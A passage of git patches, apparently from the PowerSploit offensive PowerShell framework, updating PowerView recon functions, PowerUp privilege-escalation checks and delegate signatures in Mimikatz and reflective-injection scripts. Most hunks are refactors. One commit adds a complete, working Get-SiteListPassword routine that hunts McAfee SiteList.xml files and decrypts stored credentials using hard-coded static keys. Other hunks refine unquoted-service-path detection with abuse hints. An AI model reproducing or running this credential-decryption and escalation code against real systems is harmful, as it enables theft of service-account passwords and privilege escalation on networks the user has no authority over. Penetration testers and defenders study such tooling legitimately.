[bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - #write-host $type + $state_start = $type_end + 1 $state_end = $state_start + 3 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - #write-host $state + $comment_size_start = $state_end + 1 $comment_size_end = $comment_size_start + 1 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) @@ -5698,7 +5692,6 @@ function Get-DFSshare { $comment_end = $comment_start + $comment_size - 1 if ($comment_size -gt 0) { $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - #Write-Host $comment } $prefix_timestamp_start = $comment_end + 1 $prefix_timestamp_end = $prefix_timestamp_start + 7 @@ -5714,24 +5707,18 @@ function Get-DFSshare { $version_end = $version_start + 3 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) - #write-host $version - if ($version -ne 3) - { - #write-host "error" - } - # Parse rest of DFSNamespaceRootOrLinkBlob here $dfs_targetlist_blob_size_start = $version_end + 1 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - #write-host $dfs_targetlist_blob_size + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 $reserved_blob_size_end = $reserved_blob_size_start + 3 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] @@ -5744,13 +5731,11 @@ function Get-DFSshare { $target_count_end = $target_count_start + 3 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) $t_offset = $target_count_end + 1 - #write-host $target_count for($j=1; $j -le $target_count; $j++){ $target_entry_size_start = $t_offset $target_entry_size_end = $target_entry_size_start + 3 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - #write-host $target_entry_size $target_time_stamp_start = $target_entry_size_end + 1 $target_time_stamp_end = $target_time_stamp_start + 7 # FILETIME again or special if priority rank and priority class 0 @@ -5758,26 +5743,26 @@ function Get-DFSshare { $target_state_start = $target_time_stamp_end + 1 $target_state_end = $target_state_start + 3 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - #write-host $target_state + $target_type_start = $target_state_end + 1 $target_type_end = $target_type_start + 3 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - #write-host $target_type + $server_name_size_start = $target_type_end + 1 $server_name_size_end = $server_name_size_start + 1 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 $server_name_end = $server_name_start + $server_name_size - 1 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - #write-host $server_name + $share_name_size_start = $server_name_end + 1 $share_name_size_end = $share_name_size_start + 1 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) $share_name_start = $share_name_size_end + 1 $share_name_end = $share_name_start + $share_name_size - 1 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - #write-host $share_name + $target_list += "\\$server_name\$share_name" $t_offset = $share_name_end + 1 } @@ -5797,8 +5782,6 @@ function Get-DFSshare { $servers = @() $object_list | ForEach-Object { - #write-host $_.Name; - #write-host $_.TargetList if ($_.TargetList) { $_.TargetList | ForEach-Object { $servers += $_.split("\")[2] @@ -6002,8 +5985,11 @@ function Get-GptTmpl { } # so we can cd/dir the new drive - $GptTmplPath = $RandDrive + ":\" + $FilePath - } + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath + } } process { @@ -6012,9 +5998,9 @@ function Get-GptTmpl { $SectionsFinal = @{} try { - Write-Verbose "Parsing $GptTmplPath" + Write-Verbose "Parsing $TargetGptTmplPath" - Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { + Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object { if ($_ -match '\[') { # this signifies that we're starting a new section $SectionName = $_.trim('[]') -replace ' ','' @@ -6046,7 +6032,7 @@ function Get-GptTmpl { New-Object PSObject -Property $SectionsFinal } catch { - Write-Debug "Error parsing $GptTmplPath : $_" + Write-Debug "Error parsing $TargetGptTmplPath : $_" } } @@ -6110,14 +6096,17 @@ function Get-GroupsXML { } # so we can cd/dir the new drive - $GroupsXMLPath = $RandDrive + ":\" + $FilePath + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath } } process { try { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop + [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { @@ -6165,27 +6154,29 @@ function Get-GroupsXML { if($ResolveSids) { $Memberof = $Memberof | ForEach-Object { $memof = $_ - if ($memof.StartsWith("S-1-")) - { + if ($memof.StartsWith("S-1-")){ try { Convert-SidToName $memof - } catch { + } + catch { $memof } - } else { + } + else { $memof } } $Members= $Members | ForEach-Object { $member = $_ - if ($member.StartsWith("S-1-")) - { + if ($member.StartsWith("S-1-")) { try { Convert-SidToName $member - } catch { + } + catch { $member } - } else { + } + else { $member } } @@ -6195,7 +6186,7 @@ function Get-GroupsXML { if($Members -isnot [system.array]) {$Members = @($Members)} $GPOProperties = @{ - 'GPOPath' = $GroupsXMLPath + 'GPOPath' = $TargetGroupsXMLPath 'Filters' = $Filters 'MemberOf' = $Memberof 'Members' = $Members @@ -6206,7 +6197,7 @@ function Get-GroupsXML { } } catch { - Write-Debug "Error parsing $GptTmplPath : $_" + Write-Debug "Error parsing $TargetGroupsXMLPath : $_" } } @@ -7507,7 +7498,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = "$($env:COMPUTERNAME)", + $ComputerName = $Env:ComputerName, [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] From d0b21c0848defcb40914cca0d610663d754ca1a0 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 22 May 2016 14:41:05 -0400 Subject: [PATCH 140/296] Updated functions in Recon.psd1 --- Recon/Recon.psd1 | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 467fcddf..a1702182 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -23,12 +23,14 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( + 'Add-NetGroupUser', 'Add-NetUser', 'Add-ObjectAcl', 'Convert-NameToSid', 'Convert-SidToName', 'Convert-ADName', 'ConvertFrom-UACValue', + 'Export-PowerViewCSV', 'Find-ComputerField', 'Find-ForeignGroup', 'Find-ForeignUser', @@ -43,10 +45,16 @@ FunctionsToExport = @( 'Get-ComputerDetails', 'Get-ComputerProperty', 'Get-DFSshare', + 'Get-DNSRecord', + 'Get-DNSZone', 'Get-DomainPolicy', + 'Get-DomainSID', 'Get-ExploitableSystem', + 'Get-GUIDMap', 'Get-HttpStatus', + 'Get-IPAddress', 'Get-LastLoggedOn', + 'Get-LoggedOnLocal', 'Get-NetComputer', 'Get-NetDomain', 'Get-NetDomainController', @@ -57,7 +65,6 @@ FunctionsToExport = @( 'Get-NetForestDomain', 'Get-NetForestTrust', 'Get-NetGPO', - 'New-GPOImmediateTask', 'Get-NetGPOGroup', 'Get-NetGroup', 'Get-NetGroupMember', @@ -74,10 +81,13 @@ FunctionsToExport = @( 'Get-ObjectAcl', 'Get-PathAcl', 'Get-Proxy', + 'Get-RegistryMountedDrive', + 'Get-SiteName', 'Get-UserEvent', 'Get-UserProperty', 'Invoke-ACLScanner', 'Invoke-CheckLocalAdminAccess', + 'Invoke-DowngradeAccount', 'Invoke-EnumerateLocalAdmin', 'Invoke-EventHunter', 'Invoke-FileFinder', @@ -87,6 +97,8 @@ FunctionsToExport = @( 'Invoke-ReverseDnsLookup', 'Invoke-ShareFinder', 'Invoke-UserHunter', + 'New-GPOImmediateTask', + 'Request-SPNTicket', 'Set-ADObject' ) From c30c682797b2aaaa176b1329f346f45050d72261 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 23 May 2016 18:36:46 -0400 Subject: [PATCH 141/296] Bug fix for issue #137 --- Privesc/PowerUp.ps1 | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index cb2bda5c..2862475a 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -47,12 +47,15 @@ function Get-ModifiableFile { process { $CandidateFiles = @() - # test for quote-enclosed args first, returning files that exist on the system - $CandidateFiles += $Path.split("`"'") | Where-Object { $_ -and (Test-Path $_) } - - # now check for space-separated args, returning files that exist on the system - $CandidateFiles += $Path.split() | Where-Object { $_ -and (Test-Path $_) } + # possible separator character combinations + $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $CandidateFiles += $Path.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + # see if we need to skip any excludes $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object { $Skip = $False @@ -61,16 +64,12 @@ function Get-ModifiableFile { } if(!$Skip) {$True} } | ForEach-Object { - try { - # expand any %VARS% - $FilePath = [System.Environment]::ExpandEnvironmentVariables($_) - # try to open the file for writing, immediately closing it - $File = Get-Item -Path $FilePath -Force + $File = Get-Item -Path $_ -Force $Stream = $File.OpenWrite() $Null = $Stream.Close() - $FilePath + $_ } catch {} } @@ -445,7 +444,7 @@ function Get-ServiceUnquoted { #> # find all paths to service .exe's that have a space in the path and aren't quoted - $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | Where-Object {-not $_.pathname.StartsWith("`"")} | Where-Object {-not $_.pathname.StartsWith("'")} | Where-Object {($_.pathname.Substring(0, $_.pathname.IndexOf(".exe") + 4)) -match ".* .*"} + $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} if ($VulnServices) { ForEach ($Service in $VulnServices){ @@ -458,7 +457,7 @@ function Get-ServiceUnquoted { $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path " + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -ServicePath " $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } From 83305c5243ab6b793dda89866b34cb96396b61ec Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 23 May 2016 18:51:44 -0400 Subject: [PATCH 142/296] Combined Get-SiteListPassword.ps1 into PowerUp.ps1 --- Privesc/Get-SiteListPassword.ps1 | 178 ----------------------------- Privesc/PowerUp.ps1 | 188 +++++++++++++++++++++++++++++++ Privesc/Privesc.psd1 | 2 +- 3 files changed, 189 insertions(+), 179 deletions(-) delete mode 100644 Privesc/Get-SiteListPassword.ps1 diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 deleted file mode 100644 index f6318729..00000000 --- a/Privesc/Get-SiteListPassword.ps1 +++ /dev/null @@ -1,178 +0,0 @@ -function Get-SiteListPassword { -<# - .SYNOPSIS - - Retrieves the plaintext passwords for found McAfee's SiteList.xml files. - Based on Jerome Nokin (@funoverip)'s Python solution (in links). - - PowerSploit Function: Get-SiteListPassword - Original Author: Jerome Nokin (@funoverip) - PowerShell Port: @harmj0y - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - - .PARAMETER SiteListFilePath - - Optional path to a SiteList.xml file. - - .EXAMPLE - - PS C:\> Get-SiteListPassword - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : - Path : Products/CommonUpdater - Name : McAfeeHttp - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : - Server : update.nai.com:80 - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : McAfeeService - Path : Repository$ - Name : Paris - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : companydomain - Server : paris001 - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : McAfeeService - Path : Repository$ - Name : Tokyo - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : companydomain - Server : tokyo000 - - .LINK - https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ - https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ - https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md -#> - - [CmdletBinding()] - param( - [ValidateScript({Test-Path -Path $_ })] - [String] - $SiteListFilePath - ) - - function Get-DecryptedSitelistPassword { - # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ - # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) - # port by @harmj0y - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [String] - $B64Pass - ) - - # make sure the appropriate assemblies are loaded - Add-Type -assembly System.Security - Add-Type -assembly System.Core - - # declare the encoding/crypto providers we need - $Encoding = [System.Text.Encoding]::ASCII - $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider - $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider - - # static McAfee key XOR key LOL - $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 - - # xor the input b64 string with the static XOR key - $I = 0; - $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } - - # build the static McAfee 3DES key TROLOL - $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 - - # set the options we need - $3DES.Mode = 'ECB' - $3DES.Padding = 'None' - $3DES.Key = $3DESKey - - # decrypt the unXor'ed block - $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) - - # ignore the padding for the result - $Index = [Array]::IndexOf($Decrypted, [Byte]0) - if($Index -ne -1) { - $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) - } - else { - $DecryptedPass = $Encoding.GetString($Decrypted) - } - - New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} - } - - function Get-SitelistFields { - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [String] - $Path - ) - - try { - [Xml]$SiteListXml = Get-Content -Path $Path - - if($SiteListXml.InnerXml -Like "*password*") { - Write-Verbose "Potential password in found in $Path" - - $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { - try { - $PasswordRaw = $_.Password.'#Text' - - if($_.Password.Encrypted -eq 1) { - # decrypt the base64 password if it's marked as encrypted - $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} - } - else { - $DecPassword = $PasswordRaw - } - - $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } - $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } - - $ObjectProperties = @{ - 'Name' = $_.Name; - 'Enabled' = $_.Enabled; - 'Server' = $Server; - 'Path' = $Path; - 'DomainName' = $_.DomainName; - 'UserName' = $_.UserName; - 'EncPassword' = $PasswordRaw; - 'DecPassword' = $DecPassword; - } - New-Object -TypeName PSObject -Property $ObjectProperties - } - catch { - Write-Debug "Error parsing node : $_" - } - } - } - } - catch { - Write-Error $_ - } - } - - if($SiteListFilePath) { - $XmlFiles = Get-ChildItem -Path $SiteListFilePath - } - else { - $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { - Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue - } - } - - $XmlFiles | Where-Object { $_ } | Foreach-Object { - Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" - Get-SitelistFields -Path $_.Fullname - } -} diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 2862475a..afc06d63 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -205,6 +205,7 @@ function Test-ServiceDaclPermission { return $False } + function Invoke-ServiceStart { <# .SYNOPSIS @@ -2105,6 +2106,186 @@ function Get-ApplicationHost { } +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER SiteListFilePath + + Optional path to a SiteList.xml file. + + .EXAMPLE + + PS C:\> Get-SiteListPassword + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +#> + + [CmdletBinding()] + param( + [ValidateScript({Test-Path -Path $_ })] + [String] + $SiteListFilePath + ) + + function Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing node : $_" + } + } + } + } + catch { + Write-Error $_ + } + } + + if($SiteListFilePath) { + $XmlFiles = Get-ChildItem -Path $SiteListFilePath + } + else { + $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { + Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + } + } + + $XmlFiles | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } +} + + function Write-UserAddMSI { <# .SYNOPSIS @@ -2296,6 +2477,13 @@ function Invoke-AllChecks { if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Encrypted Application Pool Passwords

    " | Out-File -Append $HtmlReportFile } + + "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...." + $Results = Get-SiteListPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    McAfee's SiteList.xml's

    " | Out-File -Append $HtmlReportFile + } "`n" if($HTMLReport) { diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index d3d9a978..4e668837 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -48,7 +48,7 @@ FunctionsToExport = @( ) # List of all files packaged with this module -FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } From 6b0ada999a9d2be8c6c9267da57b898494d13219 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sun, 29 May 2016 07:54:50 -0700 Subject: [PATCH 143/296] Fixed FreeLibrary function signature #146 The parameter type and return types were accidentally transposed. Thanks @rojaster for pointing this out. --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 2 +- Exfiltration/Invoke-CredentialInjection.ps1 | 2 +- Exfiltration/Invoke-Mimikatz.ps1 | 2 +- Exfiltration/Invoke-NinjaCopy.ps1 | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 990c4b1e..42900fbc 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -648,7 +648,7 @@ $RemoteScriptBlock = { $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary diff --git a/Exfiltration/Invoke-CredentialInjection.ps1 b/Exfiltration/Invoke-CredentialInjection.ps1 index a7b312d2..d6f3c4cf 100644 --- a/Exfiltration/Invoke-CredentialInjection.ps1 +++ b/Exfiltration/Invoke-CredentialInjection.ps1 @@ -771,7 +771,7 @@ function Invoke-CredentialInjection $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index c701f63c..f95daa3b 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -540,7 +540,7 @@ $RemoteScriptBlock = { $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 15bee1b9..f22d5f5b 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -572,7 +572,7 @@ $RemoteScriptBlock = { $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary From 848f7d31ce60140761299fecbaafd86cc5b33ad2 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 31 May 2016 23:14:05 -0400 Subject: [PATCH 144/296] Corrected error checking for functions that used GetLastError General errors are now parsed with [ComponentModel.Win32Exception] and written with Write-Verbose Write-Debug calls converted to Write-Verbose or removed --- Recon/PowerView.ps1 | 271 +++++++++++++++----------------------------- 1 file changed, 89 insertions(+), 182 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f4339f72..dbf2ea75 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -961,7 +961,7 @@ filter Convert-SidToName { } } catch { - Write-Debug "Invalid SID: $SID" + Write-Verbose "Invalid SID: $SID" $SID } } @@ -1079,7 +1079,7 @@ filter Convert-ADName { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-ADName: $_" + Write-Verbose "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) @@ -1089,7 +1089,7 @@ filter Convert-ADName { (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-ADName: $_" + Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" } } @@ -1654,8 +1654,7 @@ filter Get-DomainSearcher { } elseif(!$DomainController) { try { - # if there's no -DomainController specified, try to pull the primary DC - # to reflect queries through + # if 